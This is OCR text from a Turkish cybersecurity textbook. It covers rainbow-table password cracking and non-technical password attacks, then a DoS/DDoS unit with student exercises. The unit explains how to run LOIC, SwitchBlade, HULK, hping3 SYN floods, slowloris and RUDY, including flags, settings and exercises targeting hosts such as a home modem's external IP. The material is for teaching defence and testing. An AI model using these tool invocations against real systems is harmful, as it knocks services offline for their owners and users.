Rtsort ile zincirlerin bitis degerleri daha kolay bir arama igin siralanabilir. Rtgen ile olusturulan
tablolar rcrack ile kullanilmadan 6nce rtsort ile siralanmalidir. Rcrack eldeki 6zetlerin tablodaki
eslerini bulacak olan esas aragtir. Ornek ifade su sekilde olacaktir:

rcrack kullanilacak_tablo.rt -secenek hash\hash_dosyasi\pwdump_dosyasi
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Rcrack ile kullanilabilecek secenekler asagida verilmistir.

-f ile pwdump dosyasi
-l ile icinde 6zetlerin bulundugu bir dosya

-h ile direkt olarak 6zetin kendisi

. SIRA SiZDE

Charset.txt dosyasinda olusturulan “ozel-karakter” karakter setine az sayida harf ve sayi
girerek (abcsiber12345) olasi parolalarin 6zetlerini olusturunuz. Ardindan rtsort ile siralayiniz ve
rcrack ile hash.md5.txt adli dosyadaki 6zetlerin parola degerini bulunuz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LIiSTESI

I
I
3.Paroladegerinibuldu.

OLCUTLER

6.2.3. Teknik Olmayan Parola Ataklari

Teknik olmayan saldirilar, igeriginde teknik bilgi ve donanim gerektirmeden yapilan saldirilardir.
Parolasini elde etmek icin bir kisinin takibini yapmak, klavye tuslarinin hareketlerini elde eden
keylogger programlari kullanmak ve sosyal mihendislik yontemleri kullanarak kisilerin yerine
parolalarini ele gegirmek teknik olmayan parola ataklarina girer.

Kisilerin kullanici girisi gerektiren herhangi bir siteye girme denemeleri yapmasi, pass the
hash tarzi acik kaynak kodlu araclari kullanmasi ve internet ortaminda bulunan gesitli keylogger
araglari kullanmasi bu atak tirlerinin en yaygin érnekleridir.

a@x=

Ozellikle sosyal miihendislik yoluyla sifre elde etmeye calisan kisilere karsi dikkatli olunma-

hdir. Cihazlarin givenlik protokollerinin giincel olmasi, antivirls programi kullanilmasi ve en
onemlisi kullanicilarin dijital okuryazarhiginin bulunmasi bu tarz teknik olmayan saldirilari 6nler.
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantez igine yargilar dogru ise “D”, yanlis ise “Y” yaziniz.

1.( )Cewlkullanarakinternet tizerinde bulunan bir web sitesinin icinde gecen ifadelere gore
bir kelime listesi hazirlanmasi miimkinddr.

2.( ) Hydra komut satiri ile yapilan kaba kuvvet saldirisi hydra-gtk araci ile ayni sekilde fakat
grafiksel araylizde gerceklesir.

3.( )John the ripper, cevrimici bir parola atak aracidir.
4. ( ) Hydra araciile hash kodlari kullanilarak ¢cevrimdisi atak yapilir.

5.( ) Pass the hash araci ile hash kodlarina dayali teknik olmayan saldiri gerceklestirilir.

B) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

6. Asagidaki araglardan hangisi 6zel sozliik listeleri hazirlamaya yardimci olur?

A) Hydra B) Medusa
C) Caen Abbel D) John the ripper
E) Crunch

7. Asagidakilerden hangisi teknik olmayan bir parola atak yéntemidir?

A) Keylogger kullanmak B) Kelime listelerini kullanmak
C) Ozet hash bilgileri kullanmak D) Hydra araci ile kaba kuvvet uygulamak

E) Sozluk listelerini kullanmak

8. Asagidaki araglardan hangisi cevrimdisi saldiri yapilmasina olanak saglar?

A) Cewl B) Hashcat C) Hydra D) Medusa E) Ncrack

9. Asagidakilerden hangisi 6zetlenmis parola bilgilerine verilen isimdir?

A) Console B) Hash C) John D) LM E) md5

10. “$1$” ifadesi ile asagidaki hangi sifreleme yéntemi ifade edilir?

A) AES TKIP B) Blowish
C) md5 D) SHA 256
E) SHA 512
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KONULAR

7.1. DoS ATAGI
7.2. DDoS ATAGI (DAGITILMIS HiZMET REDDI ATAGI)

NELER OGRENECEKSINiz?

e DoS atagi

¢ DoS atak tiriine ait araglar

e Bant genisligine yonelik ataklar

e Belirli bir hostu ve servisleri diislirmek icin yapilan DoS ataklari
¢ SYN teknigiyle DoS ataklari

e Mass-Intrusion teknigiyle DDoS ataklari

* Formlarla DDoS ataklari

¢ Dos ve DDoS ataklar icin alinacak 6nlem ve tedbirler

ANAHTAR KELIMELER

DDoS atagi, DDoS form ataklari, DoS atagi, HULK araci, LOIC araci,
Mass-Intrusion, SYN tasmasi
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HAZIRLIK CALISMALARI

1. DoS atagi hakkinda neler biliyorsunuz?

2. DoS ataklarinin ne kadar tehlikeli olabilecegini aciklayiniz.

3. Daha 6nce hangi DoS/DDoS sizma testi araglarini kullandiniz?

7.1. DoS ATAGI

DoS atagl, bir sistemi kullanilamaz hale getirmek, cevrimdisi yapmak veya o siteye girip
kullanmak isteyen normal kullanicilari sisteme erisemez duruma getirmek igin tasarlanmis bir
atak tiridir (Gorsel 7.1). Bu tarz ataklar genelde ¢ok fazla sayida kullanicisi olan sistemlere yapilir.
Atagin amaci, hedefi ulasilamaz yaparak zarara ugratmaktir. Ayni zamanda baska bir atagin fark
edilmemesini saglayarak dikkatleri farkli ydne cekmek ve hedef sasirtmak icin kullanilir. Ornegin
On tarafta DoS saldirisi yaparak sistemi mesgul eden saldirgan, arka tarafta fidye (ransomware)
saldirisi yapabilir. DoS saldirilari glivenlik agiklarindan, arabellek tasmalarindan, yazilim kaynakl
aciklardan yararlandigi gibi daha c¢ok bir sistemdeki dar bogazlardan faydalanir. Bir sistemin
isleyebilecegi en yliksek miktarda trafik, veri baglantisi, bant genisligi gibi bir esik degeri olan ve
bir bilesen (RAM, dnbellek vb.) tarafindan sinirlandirilan bélimleri kullanir. Cogu DoS atagi bu en
yluksek kapasiteyi asacak sekilde tasarlanmistir. Boylelikle o siteye gercekten erismek isteyenlere
sistem cevap vermez. Hedef, maddi ve manevi zarara veya itibar kaybina maruz kalir.

Gorsel 7.1: DoS atagi

228 I DoS ve DDoS Ataklari



DoS ataklari farkli tlrlerde gergeklestirilir. Bant genigligine yonelik ataklar, belirli bilgisayari
(host) ve servisleri diisirmek icin yapilan ataklar ile SYN teknigi kullanilarak yapilan ataklar en
yaygin DoS atag tirleridir. Bu ataklari gerceklestirmek igin farkh araglar (tools) kullanihir. Bu
0grenme biriminde Kali Linux 2021.2 isletim sistemi Uzerinden araglar anlatilacaktr.

7.1.1. Bant Genisligini ve Belirli Bir Hostu Diisiirmek icin Kullanilan
Atak Araglari

Yapilan bir DoS atagl, cogu zaman hedefin bant genisligini tiiketir ve normal kullanicilari
hizmetlere ulasamaz hale getirir. Bu atak ayni zamanda bir bilgisayari ag trafiginden distrmek
icin de kullanilir.

Bir agda bilginin karsiya sorunsuz bir sekilde ulastigini gésteren unsurlar vardir. Bu unsurlar;
Gizlilik (Confidentiality), Butlnlik (Integrity), Erisilebilirlik (Availability) olarak siralanabilir. Dos
ve DDoS ataklari bu unsurlardan erisilebilirlik kismini devre disi birakarak bilginin bir uctan diger
uca ulasmasini engellemek icin kullanilir (Gérsel 7.2).

Erisebilirlik ®
DoS/DDoS

Gorsel 7.2: Dos/DDoS ataginin bilgi glivenligi unsurlariyla iliskisi

7.1.1.1. LOIC (Low Orbit lon Cannon) Araci

LOIC araci, C# dilinde yazilmistir. Agik kaynak olarak kullanima sunulan bu ara¢ Windows ve
Linux platformlarinda kolaylikla kullanilabilir. LOIC en yaygin kullanilan DoS ve DDoS araci olarak
tespit edilmistir.

LOIC aracini kullanabilmek i¢in Kali Linux (izerinde mono isimli bir yardimci arag yiklenmelidir.
Mono, programlarin ¢apraz platformu desteklemesi icin kullanilan bir aractir. Mono programi
daha net bir ifade ile .Net Framework’lin Linux tabanl sistemlerde galismasini saglar.

DoS ve DDoS Ataklari

229



Gorsel 7.3'te gorildigu Gzere mono araci i¢ asamada kurulur ve en sondaki komut ile LOIC
araci galistinilir. LOIC araci galistiginda Gorsel 7.4’teki ekran ile karsilasilir.

Gorsel 7.3: mono aracinin kurulum asamalari ve LOIC aracinin ¢alishirma kodu

Gorsel 7.4: LOIC aracinin goriiniimi
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1 No.lu Alan: Bu alanda URL kismina atagin yapilacagi web sitesi, IP kismina da IP bilgisi yazilir.

2 No.lu Alan: Tim ayarlamalar yapildiktan sonra “IMMA CHARGIN MAH LAZER” butonu ile
atak baslatilir. “Stop Floading” yazisina tiklanarak atak sonlandirilir.

3 No.lu Alan: Segilen hedef hakkinda bilgilerin yer aldigi bolimdur.

4 No.lu Alan: Atak parametrelerinin ayarlandigi bélimddir. Bu alandan port numarasi, meto-
du (TCP, UDP, HTTP) ve atagin hizi gibi bilgiler ayarlanabilir.

5 No.lu Alan: Atak sirasinda atak ile ilgili detayli bilgilendirmelerin oldugu bolimdur. Idle
degeri, baglanti durumu (connecting), istek durumlari (requesting, requested), indirme bilgileri
(downloading, downloaded) ilgili stitunlar altinda goralur.

Bu arag ayrica DDoS saldirisi gerceklestirmek icin diger bilgisayarlarla haberlesebilir. Ayni
zamanda zombi (zararh yazihm enjekte edilmis cihazlar) makineleri de yoneterek daha biyik
zararlar verebilecek DDoS ataklari gerceklestirir. Bu arag, sizma testi (penetration test) icin
sistemlerin DoS saldirilarina karsi dayanikhligini ve stres testine verecegi tepkiyi 6lgmede kullanilir.

. SIRA SiZDE

1. Atak yapmak istediginiz bir i¢ ag bilgisayar IP’si tespit ediniz.

2. Atak yapacaginiz bilgisayarin islemci, RAM ve ag bilgilerini izleyiniz.
3. LOIC aracini kullanarak tespit ettiginiz IP’ye atak yapiniz.

4. Atak yapilan bilgisayarin islemci, RAM ve ag performans gostergelerinin ekran gorintisind
aliniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR
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7.1.1.2. OWASP SwitchBlade

Hizmet reddi atagi gerceklestiren bir baska arag¢ yeni adiyla OWASP SwitchBlade, eski adiyla
DoS HTTP POST olarak bilinen aragtir. Bu arag, sitelerdeki DoS ataklarina karsi test i¢in yazilsa
da saldirganlar bunu kot amacli kullanabilir. Bu arag c¢alistirildiginda Gorsel 7.5'teki ekranla
karsilasilir.

3 J

Gorsel 7.5: SwitchBlade ekrani

1 No.lu Alan: Atak tipinin secildigi alandir. Slow headers, Slow POST ve SSL Renegotiation
olmak tzere Ug farkli atak tipi vardir.

a) Slow Headers: Bu atak tipi secildiginde arag cok yavas bir hizda HTTP basliklari gonderir
ancak hicbir zaman verinin tamamini géndermez. iletisimi sonlandirmamak igin ara ara bashk
bilgilerini gdnderir. Bu nedenle sunucunun tiim kaynaklari mesgul olur.

b) Slow POST: Saldirgan, bu atak tipinde web sitesinin form alanlarina POST islemi
yapacaktir. Form verilerini ¢ok yavas bir hizla iletip, daha fazla veri gelecegini zannederek
sunucunun kaynaklarinin tiikenmesine neden olacaktir.

c) SSL Renegotiation: SSL yeniden anlasma olarak isimlendirilen bu atak tipinde saldirgan,
devamli yeni SSL anlasmalari gondererek sunucunun tiim CPU’sunu kullanmayi amaglar.

2 No.lu Alan: Burada aracin daha karmasik calismasini saglamak icin cesitli parametreler
bulunur. Bu parametreler; baglantilar (connectons), baglanti hizi (connection rate), zaman asimi
(timeout) degeridir.

3 No.lu Alan: Bu kisimda ise araci ¢alistirmak ve aracgtan ¢ikmak icin butonlar bulunur. Gerekli
atak tipleri ve parametreler girildikten sonra “Run attack” butonuna basilarak atak baslatilir.
“Quit” butonuyla da aragtan cikilr.
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. SIRA SiZDE

1. OWASP SwitchBlade aracini localhosta atak yapmak icin ayarlayiniz.

2. Baglanti sayisini 800 olarak ayarlayiniz.
3. Zaman asgimi degerini 10 sn. yapiniz.

4. Atag baslatarak sisteminizdeki degisiklikleri izleyiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine goére degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

7.1.1.3. HULK Araci

HULK (HTTP Unbearable Load King) araci belirli bir hostu hedef alabildigi gibi bir web sitesine
de hizmet reddi atagi baslatabilir. Buradaki amag, sitenin veya hedefin stres testini 6lgmektir. Bu
arag, Python dilinde yazilmistir ve tiim isletim sistemlerinde ¢alisabilir. HULK araci; yonlendirici
(router), anahtar (switch), glivenlik duvari (firewall) gibi ag cihazlarini test etmekigin kullanilabildigi
gibi sunucularin IP havuzlarina direkt atak yapabilir. Bu nedenle ¢ok tehlikeli bir aragtir. Bu arag
Github depolari klonlanarak indirilir. Ornek kurulum ekrani Gorsel 7.6’da verilmistir.

Gorsel 7.6: hulk aracinin kurulum ekrani
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Kurulum islemi bittikten sonra HULK aracini kullanmak i¢in aracin indirildigi “Home” dizine
gidilmelidir. Gorsel 7.7°deki 1 numaral alanda goéruldigi gibi HULK araci Kali Linux isletim
sisteminde “git clone” komutu kullanilarak Home dizinine indirilir.

1. UYGULAMA

HULK Aracinin Kullanimi

Asagidaki islem adimlarina gére HULK aracinin kullanimini gerceklestiriniz.

1. Adim: Home dizinine indirilen hulk aracina erisiniz.

2. Adim: Gorsel 7.7°deki 2 numarali kutucukta gorildigi gibi bos alanda farenin sag tusuna
basilarak acilan pencerede Open in Terminal secenegini seginiz.

3. Adim: Gorsel 7.7'deki 3 numarali alanda hulk aracini ¢alistirmak icin hulk.py programini
kullaniniz ve parametre olarak hedef IP adresini yaziniz.

2 C O

Gorsel 7.7: hulk aracinin dizinine erisim ve hulk aracini galistirmak i¢in yazilan kod ekrani

Python’u baslatmak i¢in kullanilan komut

T |—> hulk aracinin Python kodlarini iceren ana dosyasi

l I—> Hedef bilgisayar IP ve port bilgisi
Linux sistemlerde root kullanici haklarina gecici sekilde sahip

olmak icin kullanilan komut
Gorsel 7.8: hulk aracini galistirmak igin gerekli olan kod s6z dizimi
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Gorsel 7.9°da HULK araci ¢alistirildiktan sonra islemci, RAM ve Wi-Fi agindaki islem yuki artisi

goralir.

142 Garev Yoneticisi - O e
Dosya Secenekler Gorintile
Islemler Performans Uygulama gecmisi Baslangic Kullamicilar Aynintilar Hizmetler
cPU -
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% Kullanimi %100
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Il— 7,8/15,9 GB (49%) \
fl\
{/\\ 1
0 Diski (D) [\ N 1\
HDD f M ] A
L] %0 |
|
1 Diski (C2) 60 saniye 0
;’SDD Kullanim Hiz Temel hiz: 1,80 GHz
L . .
28% 338 GHz Vvl i
kirdekler: 4
Ethernet 5 e
Islemler Is Parcacig Tamticilar .
VirtualBox Host-Only ) . Mantiksal iglemciler: 8
G: 0 A 0Kb/sn 189 1913 74952 sana agtirma: Etkin
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Wi-Fi ) L2 dnbellegi: 1,0 MB
|r| Wi-Fi 6095731 L3 énbellegi: 6,0 MB
G: 0 A0 Kb/fsn v

& ) Daha az ayninti @ Kaynak Izleyicisini Ag

Gorsel 7.9: HULK araci galigtirildiktan sonra bilgisayarin kaynak kullanim bilgileri

Gorsel 7.10°da ise HULK araci kapatildiktan sonra islemci, RAM ve Wi-Fi kaynaklarinin hizla

dustigi gozlemlenir.

1=d Gorev Yoneticisi — O x
Dosya Secenekler Goruntile
Islemler Performans Uygulama gegmisi Baslangig Kullanicilar Ayninular Hizmetler
CPU =
Q 5 130 GHe CPU Core(TM) i5-8250U CPU @ 1.60GHz
% Kullanimi %100
Bellek
6,8/15,9 GB (43%)
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HDD
%0
R —/\nf-\/»w‘f/f\__.,/—’ N A ,’—/\
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Cekirdekler: 4
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Gorsel 7.10: Hulk araciyla atak sonlandirildiktan sonra bilgisayar kaynak bilgileri
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HULK aracinin performansini artirmak veya azaltmak icin HULKMAXPROCS ve GOMAXPROCS
parametreleri kullanilir (Gorsel 7.11).

HULKMAXPROCS: Bu parametre ile baglanti havuzu ayarlanabilir. Varsayilan degeri 1024't(r.

GOMAXPROCS: Bu parametre ile atak yapmasi istenen islemci sayisi artirilip azaltilabilir.

Gorsel 7.11: hulk araci parametreleri

. SIRA SiZDE

1. HULK araci parametrelerini asagidaki gibi ayarlayiniz.
e HULKMAXPROCS=4096
¢ GOMAXPROCS=2
2. Modeminizin dis IP’sinin (internete ¢ikarken kullandiginiz IP adresi) 443 numarali portuna
HULK aracini kullanarak atak yapiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET HAYIR

7.1.2. SYN Atak Yontemi Kullanan Araglar

SYN atak yoénteminde kullanan araclar asagida basliklar halinde verilmistir.

7.1.2.1. SYN Tagmasi (SYN Flood)

Bilgisayarlar arasinda iletisimin saglanmasi icin ag cihazlari TCP ve UDP olmak lzere iki farkl
protokol kullanir. TCP protokolii Ug Yollu El Sikisma (Three-Way Handshake) teknigini kullanarak
karsidaki bilgisayarla bir baglanti kurar. Birbirlerine SYN, SYN/ACK ve ACK mesajlari gondererek
TCP baglantisinin baslamasi icin aralarinda bir gliven olusturur.
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Gorsel 7.12'de goraldugi gibi istemci bilgisayar bir SYN paketi ile iletisim kurma istegini iletir.
Paketi aldiktan sonra sunucu bir SYN/ACK paketi ile iletisim kurma istegini kabul ettigini iceren
bir paket gdonderir. Son olarak istemci, sunucuya paketin sunucudan alindigini onaylamak igin bir
ACK paketi gonderir ve istemci ile sunucu arasinda iletisim baslar.

istemci (PC1) Sunucu (PC2)
1. SYN

2. SYN/ACK

3. ACK

>

Goérsel 7.12: TCP Ug Yollu El Sikisma modeli

Siyah renkli istemci, normal bilgisayar gibi goriinen bir saldirgandir. Bu saldirgan normal
bir sekilde iletisimi baslatmak icin SYN iletisim baglatma paketini gdnderir, sunucu da normal
bir sekilde SYN/ACK paketini cevap olarak gonderir. Saldirgan bu asamadan sonra siyah renkli
istemcinin gondermesi gereken ACK paketini gobndermez ve onun yerine SYN paketlerini
gondermeye devam eder (Gorsel 7.13). Bu durumda sunucunun ilgili portu, gelecek ACK
paketlerini beklemeye baslar. iletisim baslayacagi icin sunucu ilgili portunu acik (varsayilan olarak
120 sn.) tutar. Bu nedenle acik olan port sayisi artar ve sunucunun kaynaklari tiikenir. Saldirgan
olmayan bir kisi iletisim baslatmak icin SYN paketi gobnderdiginde ona ayiracagi portu kalmaz ve
sunucu cevap veremez duruma gelir.

istemci (PC1) Sunucu (PC2)
SYN Paketi
SYN/ACK
SYN/ACK
SYN/ACK
SYN Paketi
SYN Paketi

Y

~
A A A

Yyyvy

Gorsel 7.13: SYN tagmasi (SYN Flood) atagi

SYN ataginda kullanilan farkli araglar mevcuttur. Bu 6grenme biriminde en etkili ara¢ olan
“hping” komutu incelenecektir.

7.1.2.2. Hping3 Komutu

Hping, komut satirinda kullanilabilen ve ping komutunun gelismis versiyonu olan TCP/IP paket
olusturma ve ¢dzme aracidir. Bu aracin ping komutundan farki sadece ICMP yanki isteklerini
(ICMP Echo Request) gondermemesi, ayni zamanda TCP, UDP, ICMP ve RAW-IP gibi protokolleri
de desteklemesidir. Dosya gonderme, traceroute gibi bircok yetenege sahiptir. Hping komutunun
en yeni sirimi hping3'tir.

Bu komut, Kali Linux icinde hazir olarak gelmektedir.
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Sistemde hping3 komutunun yikla olup olmadigini kontrol etmek icin 1 numaral alandaki
komut yazilarak versiyon bilgisi 6grenilebilir. Versiyon bilgisi sonucu Gorsel 7.14’teki gibi degilse
2 numarali alandaki komut ile kurulum yapilir.

(N

Gorsel 7.14: hping komutu versiyon bilgisi ve kurulum kodu

Komut satirina Gorsel 7.15’teki komut yazilarak hping3 ile ilgili hangi parametrenin hangi
gorevi yerine getirdigi goralir.

>

Gorsel 7.15: hping3 komutuyla kullanilabilecek parametreler listesi

2. UYGULAMA

Hping3 Komutunun Kullanimi

Diger sayfadaki islem adimlarina gore hping3 komutunun kullanimini gergeklestiriniz.
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1. Adim: Gorsel 7.16’daki hping3 komutu ile SYN atagini baslatiniz. Bu komutun acgtlimi ile ilgili
parametreler asagida verilmistir.

e -sudo: Komutu calistirabilmek icin gecici root olmayi saglar.

e -hping3: Ana komuttur, atag yonetir.

e -S: Atagin SYN paketi ile olacagini belirtir.

e --flood: Cevaplar beklenmeden paketlerin art arda hizli bir sekilde gonderilmesini saglar.

® -p: Port numarasini belirtir.

2. Adim: Komutun en sonuna atak yapilacak bilgisayarin IP’sini yaziniz.

Gorsel 7.16: hping komutu kullanilarak belirli bir hosta SYN atagi baglatma

Saldir baglatildiginda islemci performans gostergesi 100’lere kadar ¢ikacaktir. Bu durum,
hedefin normalde yapabilmesi gereken islemleri gerceklestiremeyecegi ve sistem kaynaklarinin
bosa kullanilacagi anlamina gelir. Hedef bilgisayarda neler olup bittigi Wireshark ile izlenebilir.
Wireshark programi, paket yakalamak ve analiz etmek icin kullanilan Ucretsiz bir yaziimdir. Atak
baslatiimadan 6nce Wireshark programi acilir ve bu programin Wi-Fi agini dinlemesi saglanir
(Gorsel 7.17).

2¢O

Gorsel 7.17: Wireshark programiyla atagin izlenmesi

DoS ve DDoS Ataklari

239



Gorsel 7.17'deki 1 numarali alanda 192.168.1.22 numarali kaynak IP’den 212.251.137.57
numarall hedef IP’ye SYN paketleri gonderilir. Paketler ¢ok hizli gider ve karsidaki bilgisayarin
portlarini doldurur. Cok kisa bir sirede tim portlar dolar ve hedef yanit veremez. Ayrica islemci
kullanimi da ¢ok yliksek seviyelere gelir.

Gorsel 7.17°deki 2 numarali alanda SYN bayraginin aktif edildigi géralir.

7.2. DDoS ATAGI (DAGITILMIS HiZMET REDDI ATAGI)

DDoS atagl, DoS ataginin gelismis bir versiyonudur. DDoS atagi cok daha yikici ve tehlikelidir.
Bu atak iki farkli sekilde organize edilir. ik yontem, illegal sitelerde bulusan ¢ok sayida saldirganin
secilen hedefe belirli bir glin ve saatte atak araglarini kullanarak saldirmasidir. Bu yontem pek
tercih edilmez. ikinci ydntem ise saldirganlarin énce ag icindeki savunmasiz sistemleri bularak o
sistemlere zararli yazihm (malware) enjekte etmesidir. Boylelikle saldirganlar, zombi olarak tabir
edilen bilgisayarlar edinir. Saldirganlar, zombileri kullanarak istedigi bir zaman diliminde herhangi
bir sisteme atak yapabilir (Gorsel 7.18). En cok tercih edilen bu yontemdir. Bu sayede saldirgan,
kendini de gizler ve olan biteni arka planda izler. Bu atak yontemi, Mass-Intrusion (Kitlesel Saldiri)
faz teknigi olarak da adlandirilir. Mass-Intrusion fazi, DDoS ataklarinin ilk asamasini olusturur.

sOdad

Gorsel 7.18: DDoS atagi

a@ iz

Zombi Bilgisayar: Bir saldirgan tarafindan virls, Truva ati gibi zararh bir yaziim ylklenmis

bilgisayarlardir. Saldirgan bu sayede istedigi zaman bu bilgisayari kullanarak cesitli ataklar
gerceklestirebilir. Boylelikle saldirgan, kullanici farkinda olmadan kullanicinin  bilgisayarini
uzaktan istedigi gibi yonetir. Cogu zararli yazilm bu amag igin yazilmistir.

Botnet: Robot ve Network kelimelerinin birlesimidir. Zombi bilgisayarlardan kurulan orduya
denir.
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7.2.1. DDoS Atak Araglan

Cesitli DDoS atak araglari vardir. Bu 6grenme biriminde slowloris araci agiklanacaktir.

7.2.1.1. Slowloris Araci

Slowloris araci adini lorigiller olarak isimlendirilen, ¢ok yavas hareket eden bir hayvandan
almistir. Bu arag, Python dilinde yazilmistir ve acik kaynak olarak “github”da bulunur. HTTP
istek (request) ve HTTP yanit (response) paketlerinin iletiminden kaynaklanan agigi kullanarak
calisir. Normalde sunucuya bir HTTP istegi gonderildiginde sunucudan yaniti gelir (Gorsel 7.18).
Slowloris araci, sunucuya istegi tek seferde degil de parcalar halinde génderir. Bu durumda
sunucu, isteklerin tamamlanacagini disinerek baglantiyr sirdirdr. Slowloris, kismi HTTP
paketlerini gdndermeye devam eder (Gorsel 7.19). Sonunda sunucuya ayrilan tim baglanti portlar
tuketilir ve normal bir kullanici sunucuya ulasmak istediginde sunucunun kaynaklari tikendigi
icin erisemez. Slowloris en tehlikeli teknik olan diislik ve yavas atak araci sinifina girmektedir.
Eksik paketler gonderdigi icin saldiri tespit sistemleri (IDS) bu tlir DDoS atagini tespit edemez.
Ayrica glinlik (log) olusturmayi engelleyebilir. Bu durum, siber giivenlik analistlerinin olayi tespit
etmesini glclestirir.

istemci (PC1) Sunucu (PC2)

HTTP istegi

Y

HTTP Yaniti

Gorsel 7.18: Normal HTTP iletisimi

Saldirgan (PC1) Sunucu (PC2)

Kismi HTTP istegi

Kismi HTTP istegi

Kismi HTTP istegi

Gorsel 7.19: Slowloris araci ile saldirgan davranisi
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Gorsel 7.20’deki komut kullanilarak slowloris araci isletim sistemine indirilir. indirilen arag bir
klasor icinde gelir. Herhangi bir kurulum islemi gerektirmez fakat daha farkl kullanimlar igin bir
konfiglirasyon dosyasi icerir.

Gorsel 7.20: slowloris aracinin kurulumu

Gorsel 7.20'deki komut kullanilarak yiklenen slowloris “github”dan indirildiginde bir klasér
olarak gelir. Klasorin icine girildiginde Gorsel 7.21’deki ekran ile karsilasilir. Bu ekranda farenin
sag tusuna tiklanarak Open in Terminal secenegi segilir.

—

Gorsel 7.21: slowloris aracinin dosyalari

a@nx=

Uygulamaya baglamadan once bir web sunucu servisinin ¢alisip ¢alismadigindan emin
olunmalidir.
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3. UYGULAMA

Slowloris Aracinin Kullanimi

Asagidaki islem adimlarina gére slowloris aracinin kullanimini gerceklestiriniz.

1. Adim: Apache web sunucusunu aktiflestiriniz ve sunucunun ¢alismasini kontrol ediniz (Gor-
sel 7.22).

2. Adim: Slowloris aracinin oldugu dizine gidiniz.

3. Adim: Gorsel 7.22'deki gibi farenin sag tusuna tiklayarak Open in Terminal secenegini se-
Giniz.

Gorsel 7.22: apache servisini ¢alishirma ve durumunu kontrol etme komutlari

4. Adim: Gorsel 7.23’teki komutu kullanarak bir i¢ IP’ye atak gerceklestiriniz.

Gorsel 7.23: slowloris komutunun kullanimi
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Slowloris komutu parametresiz kullanildiginda 150 soket baglantisi gergeklestirir. -s
parametresi, soket baglanti sayisini varsayilan degerinde farkli bir degere ayarlamak igin kullanilr.
Gorsel 7.23’teki -s 500 parametresi ile soket sayisi 500°e ayarlanir.

5. Adim: Apache2 sunucu loglarini inceleyip sayfalarca kayit olusturuldugunu gortintiz (Gorsel

7.24).

Gorsel 7.24: apache web sunucu erigsim glinliikleri

a@x:

CTF, siber glvenlik merakllari tarafindan yeteneklerini gelistirmek icin oynanan popdiler bir
bayrak yakalama oyunudur. Diinya ¢apinda buyik CTF turnuvalari dizenlenir.

. SIRA SiZDE

1. CTF (Capture The Flag) turnuvasi icin l¢ veya dort takim olusturunuz. Takimlarinizi mavi,

kirmizi, sari takim seklinde isimlendiriniz.

244 I DoS ve DDoS Ataklari



2. Kendi iginizde tartisarak karsi takimdan bir hedef belirleyiniz. Sosyal miihendislik ile hedefle
ilgili bilgileri 6grenebilirsiniz.

3. Sectiginiz hedefe slowloris aracini kullanarak takimca birden fazla bilgisayarla ve es zamanh
atak yapiniz.

4. Takimca servislerinizin glinltklerini anlk olarak takip ediniz.

5. ilk erisilemez uyarisini alan “grubu bayragi ele gegiren” (CTF) olarak belirleyiniz.

6. CTF turnuvasini istediginiz sayida dizenleyip puanlandirma sistemi belirleyebilirsiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LIiSTESI

OLCUTLER EVET HAYIR

7.2.2. Formlan Kullanarak DDoS Atagi

Formlari kullanarak DDoS atagi yapmak icin kullanilan araglar basliklar halinde verilmistir.

7.2.2.1. RUDY (RU-Dead-Yet) Araci

RUDY araci, diger araglar gibi hizli istekler ile sunucuyu mesgul etmek yerine uzun form alanlari
gdndererek web sunucusunu hizmet veremez duruma getirmek icin kullanilir. istemci normal bir
iletisimde form alanlarina ait bilgileri HTTP Post ile gonderir. Sunucu da form bilgilerini alir ve
HTTP yanit bilgisini gdnderir (Gorsel 7.25).

istemci (PC1) Sunucu (PC2)

HTTP Post istegi
Form Bilgileri

HTTP Yaniti

Gorsel 7.25: Normal HTTP form iletigimi
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Atak araci 6ncelikle hedef web sayfasindaki form alanlarini tarar. Bir form sayfasi buldugunda
normal bir bilgisayar gibi HTTP Post istegi olusturur. Cok uzun bir post istegi olacagini belirten bir
baslik bilgisi gonderir. Sonrasinda form verilerini ¢cok kiiclik paketlere (1 Byte-10 KB arasi) boler
ve 10 saniyelik rastgele araliklarla sunucuya gonderir (Gorsel 7.26). RUDY araci paketleri stirekli
gonderir. Sunucu yavas baglanti hizina sahip bir kullanicidan bilgi aldigini zannederek baglantiyi
acik tutar. Boylelikle islemesi gereken trafik maksimum boyuta cikar ve normal kullanicilarin

istekleri reddedilir.

Saldirgan (PC1) Sunucu (PC2)

HTTP Post istegi

1 Byte Veri
1 Byte Veri

Y'Y

1 Byte Veri _

Gorsel 7.26: RUDY araci ile HTTP form iletisimi

Cok cesitli dillerde yazilmis RUDY araci kodlari vardir. Bu kodlar kullanilarak veya cesitli
ozellikler eklenerek arag gelistirilebilir. Gorsel 7.27’deki komut kullanilarak RUDY araci yuklenir.

Gorsel 7.27: rudy aracinin kurulumu

- 4. UYGULAMA

RUDY Aracinin Kullanimi

Asagidaki islem adimlarina gére RUDY aracinin kullanimini gerceklestiriniz.
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1. Adim: Bir yerel web sunucusunu aktiflestiriniz (Gorsel 7.22). Bu uygulama, Apache2 web
sunucusu lzerinde yapilmistir.

2. Adim: Yerel web sunucusuna form sayfalari iceren bir web sitesi ekleyiniz (Gorsel 7.28).

Gorsel 7.28: Web sunucusunda ¢alisan web sayfalari

3. Adim: Terminali kullanarak Goérsel 7.29'daki komutu yaziniz.

Gorsel 7.29: rudy araci galistirma komutu ve parametreleri

-rudy: RUDY aracini ¢alistirmak icin gerekli ana komut
-t: Hedef (Target) IP adresi veya web sitesi (Gerekli bir komuttur.)
-d: Gecikme (Delay), gonderilen her bayt arasindaki bekleme siresi

-n: En fazla baglanti sayisi (numberOfConnections)
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a@nx=

Degisik dillerde yazilan RUDY araglarinin parametreleri i¢in yardim kilavuzu incelenir. Gorsel

7.29'daki komutta kullanilan-d ve -n parametreleriistege bagh olarak yazilir. Sadece -t parametresi
zorunludur. Diger parametreler (-d, -n) kullanilmazsa varsayilan degerler ile atak baslatilir.

. SIRA SiZDE

